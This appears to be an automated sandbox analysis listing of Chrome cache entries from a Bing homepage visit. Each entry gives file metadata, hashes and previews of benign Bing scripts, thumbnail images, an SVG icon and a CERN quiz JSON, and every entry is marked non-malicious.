Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Reputation:	unknown
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	14338
Entropy (8bit):	7.950768400583616
Encrypted:	false
SSDEEP:	384:eP7O+T1mPPYlc2bKTC1rh5riJXtEqExMO1hV4tcEFWY:eP7NcPP8PbKC11J09Eqk9hFEoY
MD5:	DB582ACCFCDE17455AB1747A4C7938D2
SHA1:	39CAC96990135A6635BF6C9428DDDB84E02C986A
SHA-256:	ED76BCE76C0F1204121B66D32929330A373749E29F3A31232826A4F4FE795259
SHA-512:	9A63A4D854FCD297369C636EDFEE93835DCAFF9D6F0915D87F0D7FC731B06C37734418FDF7CCF7E635D546565CF07F47FA7FE4CA1F99B00089C5C128C4B37111
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.e035413526bc72471f921b54fc440fcc&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..j5.Y.<..f.-.s.H.E..Z..+..M_..m.U.[Nz~......8m6<.........V!...C...N..>. ..O.r..1R....b4#..#.Z.1.X.EO.....@.K.iSb...R.....b....E..l...jAE+..G........c..G..8..>o.....ak...c:.{..+...:N+s........6L.......#c.....^\.'.>...uK..H2p....c5.a0..^[.<..O..S_....M.=.M.......".uB...ha...2.U.1.[e....L.".....H..l..m....z.HA..'.E*T..5lc.o.T.....W.....Q;)..9..Bj.....{e#

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	24024
Entropy (8bit):	7.966844333163851
Encrypted:	false
SSDEEP:	384:eMdwk5XFqt9lvGnzxoSI2PtLSOdIOQFn//OKV8V+uK8YsuWLRyJ2:eMd151qtqzx3HkB/OKV8VL+BW0J2
MD5:	7F1C78F2CD6FB2C6328B4B08C4D59D0C
SHA1:	2E9129872556B279C09322419B556E21C93482CC
SHA-256:	CA4E4F8A09800325AFD2D53965371F283B0F66F8A2EF6D24AEF235B4BD70DDBD
SHA-512:	36197A3F6EBA8CE4ADA0A8A8D71338DAF732C89EA1EB90B8A180185309F861AEF82AACCC0A9DFDCEF27AC5DDFD460F5DBA03D1456E4051D5372AAE9C00FC0970
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.b9cdb3444a44a22086f9421426a5b0a7&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....h...bQ......o.. ...8d..f.o...W...H.........s_.....q.X.H.l(.j.....d\|S........k.*.....k.G...wFt.b.]...q...`...sG..Kh.....\|W.....o..m..Eq..H#[...[.!]O#88<.(vkA..;3.;...YT.X.....I.P..][.{+.&&'i/......A..8...7.:..k&h.......c....k7.:.6,.U}....]A.v..>.`...............#.D....U.F..aSF..d...dn.vx=8=..G3..ix.;q.Oj.._..s.g.OL.S...a..H..`.x#.>\....\.@8..4..l....%?).q.

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	581
Entropy (8bit):	4.460231157732567
Encrypted:	false
SSDEEP:	12:trZvnltuIvsbhdMLPI7eoxnoFWlW9iVSLS0EwNL4RKFz:tVvnjuRuTUCd9iP7wNLuKFz
MD5:	C86E4BDE4AF4415501A5E317ED8E28CD
SHA1:	B89F766A58D8F3EA9F794636FC147E85AA4428E2
SHA-256:	93F814F19D1E28C1B94F11A1B17754FAF4776B910BA693593490FE220B389AA1
SHA-512:	807E5FECF4CA2F8C941F6E63805037C41DA02118F63C80129EC777634E2B063B407E92C2870107EE47130F27CF71509D726E1474556FDEB070D1E887178457C1
Malicious:	false
Reputation:	unknown
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5.99998 3V6.68895C5.99998 7.13159 5.88246 7.56629 5.65943 7.94863L5.04612 9H10.9538L10.3405 7.94863C10.1175 7.56629 9.99998 7.13159 9.99998 6.68895V3H10.5C10.7761 3 11 2.77614 11 2.5C11 2.22386 10.7761 2 10.5 2H5.49997C5.22383 2 4.99997 2.22386 4.99997 2.5C4.99997 2.77614 5.22383 3 5.49997 3H5.99998ZM11.5372 10H4.46278L3.44536 11.7441C2.86203 12.7441 3.58334 13.9999 4.74103 13.9999H11.2589C12.4166 13.9999 13.1379 12.7441 12.5546 11.7441L11.5372 10Z" fill="#767676"/></svg>

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Reputation:	unknown
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4629
Entropy (8bit):	7.907676403428206
Encrypted:	false
SSDEEP:	96:8zgE3vee2ccPCMR79u4pZmlE8zPcsJL/0K80tkpbMDZBLkJ0O:ygHnccnR7PpoEm9R0Ge0BLI
MD5:	5F05C6E3B26A5182C1FBF8ED56683D0D
SHA1:	7754D6FD6DB3F7B056DF3E57A43E781FEDF78F20
SHA-256:	092E3C16140DAC45F765C3D291DE251755406063E784A35295343C75C0E49DCB
SHA-512:	83C24803C1BBDD75A3618415B758AE09B340327AD05305D836F5189B7552FAB90B12A981E703C543381FC7FA483975282E448D63F95BF1698DDC5B0C2B313C31
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_s1e_30RBKUuwCSRSsAjb1w&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?........{.K...&.....r6....K....1S...wVF..k...&.xu.....X....J.x.]q.<=......g.S......=.c.........%.......#P7.<E...@.......U.pxWN.pm...y2J.O.Z}...{."/..?.$..A.V.g.A..m*.0;....R%..p.......}.$..@.-..p.rK...8.j..6..c....2^..Q.~.....[v..E >...Gn...#w.P..^.g4.nH..S.&d..U".....>o....j\..<..O........>?.m[i.eM..5......K... .}3.{\:.....p..&.i?..[y...$......K.R......?.

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	395697
Entropy (8bit):	5.91590407182338
Encrypted:	false
SSDEEP:	6144:EF31/DZV2feDPlwk0gXFjRdQD8g3DpiUuEv:g1/T2GDbXTDgjB
MD5:	B54ADBC21E9E3AED86E1DDDE37C5CA97
SHA1:	4BBEDE66F8265117D5AECF21C9433643D5A792F7
SHA-256:	AE20917774D90D41E06253B61F72DB157F25A3CF44150AA3BB6780536260CC80
SHA-512:	5613E3E67FD5BBDD281E96AA20C850B08713EBB6AD181D8B7B935C622E0B8A7B5D6979CD43624D447345D14A426999BD0932C513B3C1FC9CBF49CDE2F608E5EF
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/S77eZvgmURfVrs8hyUM2Q9Wnkvc.js
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){functi

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1225
Entropy (8bit):	5.268483399933616
Encrypted:	false
SSDEEP:	24:YuJGpv0vtRWCsG65UGbOoOx7FQLRWCsG65UGpuA+oOYhHHURWCsG65UGRIoXXc:YRl0vAG6JbsQeG6Jg+BHTG6JRu
MD5:	F7E31D867F86464E752C85C32C5042F5
SHA1:	3760C207BFBC44427A2784A1DD379EBC92234457
SHA-256:	ADBE195CDF90F061AF812544C1063E7A2B0DFAE84B47B0A2D571210F6BFDC85B
SHA-512:	68CB822EE77E58E08E95847A579407C3EF8A60B54E194B1225EDC0EF512ED9A845BD1F0475536B9DCD154BB5B5ED6A141478BCFEEAFAF424489E4253F569B6A7
Malicious:	false
Reputation:	unknown
Preview:	{"title":"","data":{"question":"What's the name of this eye-catching building at the CERN particle physics research center?","options":[{"text":"Exploratorium","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%220%22+UserChoices%3A%220%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"A"},{"text":"Center for Innovators and Dreamers","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%221%22+UserChoices%3A%221%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"B"},{"text":"The Globe of Science and Innovation","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	downloaded
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/zeCxMEtVi23nUD1VnJIBRkRzb4g.js
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	12412
Entropy (8bit):	7.955100286795984
Encrypted:	false
SSDEEP:	384:esULsp0eWjZxP9+uUfCHINPnFvsjdW1N05n:e4pzyZj+FKHuZi414
MD5:	83424BBDE15001754CD2615CCD2E4021
SHA1:	F23C38D3B1E5FE98DDA52664FB613668E087847B
SHA-256:	ED065140F836882523191F5C70D2C0EE09EADE9DF6A30032AAC698D5AC142D4E
SHA-512:	65BD10E07945D704AE8879E7F4935B01229F732E71661729C4101813E86217B391BB095CEF7A6703AC6518776E288C834A9501996BD63D42A47D7B47C763F1E2
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.d201a110a79608b378818c3bb714ef35&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......6..;..u..\.&.0.K.....V.W,F..S..........N.P.<S.?.D.;4.;sz.c..4.<.....sN...<.@...n.ZNipM+.77....V.0h....i7..?ZE../'.h.G...x..+....5!z.YG...j..#.....2....2.j7.kkZz........G....W..~..E.A...........O......R.....k..&\|F.....F?.....vu{H....4.*.c.,N...k...?.s.../..m2...s.t#.UN.zpM\|....k...+..<.u/.$bb....Q.8.]..3....<DW...'..bF.\|o........{q.]6...Wliz......

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	22874
Entropy (8bit):	7.956599006063644
Encrypted:	false
SSDEEP:	384:eYrRNI/UNjCZdxNQF9i5WYUJJBzb482YL8J0pFa27TCj0RCgw:eYlNI/pCcS/BX4C8JyFa27BCl
MD5:	50F6D0B60ED44F87BB6D51E320659B62
SHA1:	767380807B5FD33C5390313A2E83556C4FC67A2E
SHA-256:	CBE2CBE9B04B0167AFAAEA76194CE1E4894C3FF27B784E05C7690C641C265F37
SHA-512:	C6415846829C73926DE6F2248339E52F66E933A6F28B89C709DB3CD32B394F51B5467DE89E4C891CBEB86A4EA308A8F24D09604ED72A56D9AD465A2F3BA837F9
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..V.......c.......l-..........i....'.7..f.6VVv....$.k.Q..qm.'.....#.~].}I.^Yj.[.rx.......w.^.mr.. Lx.U..W.#..H....y.\|V.U-...>&.d.'N..rw...Q+........yN..\.c..+....>.+O....a..6P.....$.+{.........k..G..........N.[......2.~OV.+...&........:..#....\..j>.q.U.?.5x.J....w.v...6..g.y_ia......d~54..E.$o&.s.X..*.Kc.X..s...}.....1K....<.5..:c...Z.5......5..g..+.<.o

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6114
Entropy (8bit):	7.928989063334699
Encrypted:	false
SSDEEP:	96:8zgEUEwDSeeF0v0ZgB7uyf98koSXslBLb8V9W3/97tBMFtIaqBsoRYA:ygGaSP0KgB7uUSkoisl1b8Gv9LRHPf
MD5:	DD1C4F6EEA2DA039D5B36F619C2C6ED3
SHA1:	CA445DC3F48D5176D92F98F953CD8D916DB54F60
SHA-256:	A9DBBE31E188B2A52F41DB637A5772F94658905B4E85F512F2FF8217F1A56344
SHA-512:	04DB9B116E3AF0FA2760C0F96F291F384FA789A0F0C5467C47ABDEFEF2B0849DFEE8B95BA1F13445B825617C36CBEE027C121621634871D25B16B0429E96975C
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_RR215KjGG6t9uoXWxNrRjQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...6.}TU.c..E..{...j.G..y.;m......!......N...v.-...r>..i......].5.}1.3..V{{.......w.".J2..\......#.^i+..'......s.,+...Cvz~4..5........MR.P..X.8n.4.a...pGjc2.t...C/....I.(.nk..K..We.[x....1+.e?..\lk..=.....>.?$..V..#e..\..l..cT.....8...8..u%....C.WX"...x.......o!p...<........C...>...p#[~r......"........?.kD....?....F!j.....V..V....U.....m.I..c'n>..G.<V.\.c..

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 32, 16-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	2652
Entropy (8bit):	7.884709708562161
Encrypted:	false
SSDEEP:	48:javK4OjNcIpDuhI/hQcktCY6np7Rad4iB+sWNEFMm0483DYqTNcw+Cg8oUvQ9hpB:uvMFpDSI/hS6npE4iks0x4KPGwnZQ9h3
MD5:	5AB91626593CEE8F79A724655354F70A
SHA1:	F6BA164760F978FB493330FDB5B6844AF3B6257C
SHA-256:	BB0CEB73EF7F49DBC91DC80467CECA366DCEC34D8B8B45F4983281CC98F9AE11
SHA-512:	1DA37EBA980A70B695071061E9003D36AAE6D8D64FEEDEA481949B11EF63D4E52D0D29A62B3CABB33859BBF3E74A2769DA6F01D0DEE458F016BF8668BCD726C5
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/9roWR2D5ePtJMzD9tbaESvO2JXw.png
Preview:	.PNG........IHDR...\|... ......E.:...#IDATx..n.>../....~-......G(ba.. u.C.+.j..JH..A.N........F.u........YQ...9...qns%..#M.....\|y0@..^[...X..sS......c..3....7....GG....[].....4.^7...g}..}...~......w.....d.....9/.x...c[...I.....i.~7.$....f.....%..9.v.......Nx.........`.M....o.....4..............^...7.7.l?~?......w..xnn0.u..;...33Z.\|..oY......=..W...iv\.`Js.ek.4...........h..gZ.+".)&d.K`...d...A.H.....p..=.}.X..'.m.w.~.>.M30........O./.yV..?..5I.....Q..?\E..3.>H....hq.X........x0..Fj..H.Cy......d b.(..2m.......l...%9..Uu..}.d_..y..Z....m..C....j..k..y....<........paa8L...y3....{".%....o....._O.p.hd.oilWu..T......a....:..-6..@....S.p.^.3....R''.....q.KH.<.../..?.:m.WV..].k........lN...9...1..">.s...{..B....n{P.....^\ll...a@n&.. l....[.._....S..X...{.+...`..~.+.........T....~.....q..>.Z.=)+.a........f&.+uu......j.h....~..a..[...c...j8..._...^.n5.M..u.J.\|Z}.`....g.h....J....w....{.~R..T...]N.A...M.N.n..id.>.W...xY.rl/...\..\W9^=...~..

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	7759
Entropy (8bit):	7.90795331559921
Encrypted:	false
SSDEEP:	192:e7eUpdZ2OTm23v1D/bSknDslHCImSrhqllY3sMhBArHEc:e7eUz+m13Tm2S9/hWr9
MD5:	DA159126182230AC32BFA5D02AE0C847
SHA1:	5EF4FEBA1483445A723487CC52C4C7E6810F901E
SHA-256:	82AEE1A9A274104F1443437C50C6ED5C5CCDD39CF14296054CF68654DC4D1114
SHA-512:	2CA74D5484665526480AF69E55220436CFA7E47DAA210369890002785C466F322F40AEC9433173122D48C0B89B95F3A42CBFE762769B87C8F6E67CE0755549DE
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.4b86c7866a991e24ff4516c3b7a15da2&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....4..].{S......c.Pe/+.......G.....&5.Q.:8..W....y".q..6Ryf..E.@.....g....2+C......RU..g.4..m[xXv.4G..DC.Se..})\|...\|....pD6.).....Er......J..p......9..*..E....kL...W.#.O..m...=H.4?C~/.............h.5.\|`......,....Us_..........,...f......P...I.jhR:.v.5..B..L...J...R.E.J...J...cI.szT..0)..-.FN.EM...A5\|.A.@i>l....".((..L.qi...Z.....p.:....X.3Tw5L....f.

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Reputation:	unknown
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1051), with no line terminators
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	5.354709142801451
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1FA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGDTzRPo
MD5:	F76D06D7669E399DC0788BC5473562BB
SHA1:	159293D99346A27E2054A812451909DE832CA0D1
SHA-256:	23F0357AE77648EE38F39960E56507D87F8D690C48E759A0E054F6E691C843EC
SHA-512:	F5BA3C997F980A2B3DA8B93D0DFF351FA6796BAA705E7831F9EFED24A6C4F0FAAF84CC7F31AC5DAC8A8D05D8D0491ECCD03EDF5892B28B639CBB107271FEB893
Malicious:	false
Reputation:	unknown
Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof 